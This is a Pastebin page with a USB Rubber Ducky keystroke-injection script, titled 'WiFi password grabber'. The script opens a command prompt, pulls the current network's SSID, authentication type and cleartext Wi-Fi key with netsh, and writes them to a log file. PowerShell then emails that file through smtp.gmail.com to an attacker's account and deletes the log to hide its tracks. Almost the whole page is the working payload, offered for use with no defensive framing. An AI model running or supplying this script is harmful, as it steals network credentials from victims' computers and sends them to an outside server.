Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM Title: WiFi password grabber
- REM Author: Austin
- REM Version: 4
- REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
- DELAY 3000
- REM --> Minimize all windows
- WINDOWS d
- REM --> Open cmd
- WINDOWS r
- DELAY 500
- STRING cmd
- ENTER
- DELAY 200
- REM --> Getting SSID
- STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
- ENTER
- STRING set A="%A:~1%"
- ENTER
- REM --> Creating A.txt
- STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
- ENTER
- REM --> Get network type
- STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
- ENTER
- REM --> Get authentication
- STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
- ENTER
- REM --> Get password
- STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
- ENTER
- REM --> Delete A.txt
- STRING del A.txt
- ENTER
- REM --> Create Log.txt
- STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
- ENTER
- REM --> Mail Log.txt
- STRING powershell
- ENTER
- STRING $SMTPServer = 'smtp.gmail.com'
- ENTER
- STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- ENTER
- STRING $SMTPInfo.EnableSsl = $true
- ENTER
- STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', 'PASS')
- ENTER
- STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
- ENTER
- STRING $ReportEmail.From = '@gmail.com'
- ENTER
- STRING $ReportEmail.To.Add('@gmail.com')
- ENTER
- STRING $ReportEmail.Subject = 'WiFi key grabber'
- ENTER
- STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
- ENTER
- STRING $SMTPInfo.Send($ReportEmail)
- ENTER
- DELAY 1000
- STRING exit
- ENTER
- DELAY 500
- REM --> Delete Log.txt and exit
- STRING del Log.txt & exit
- ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement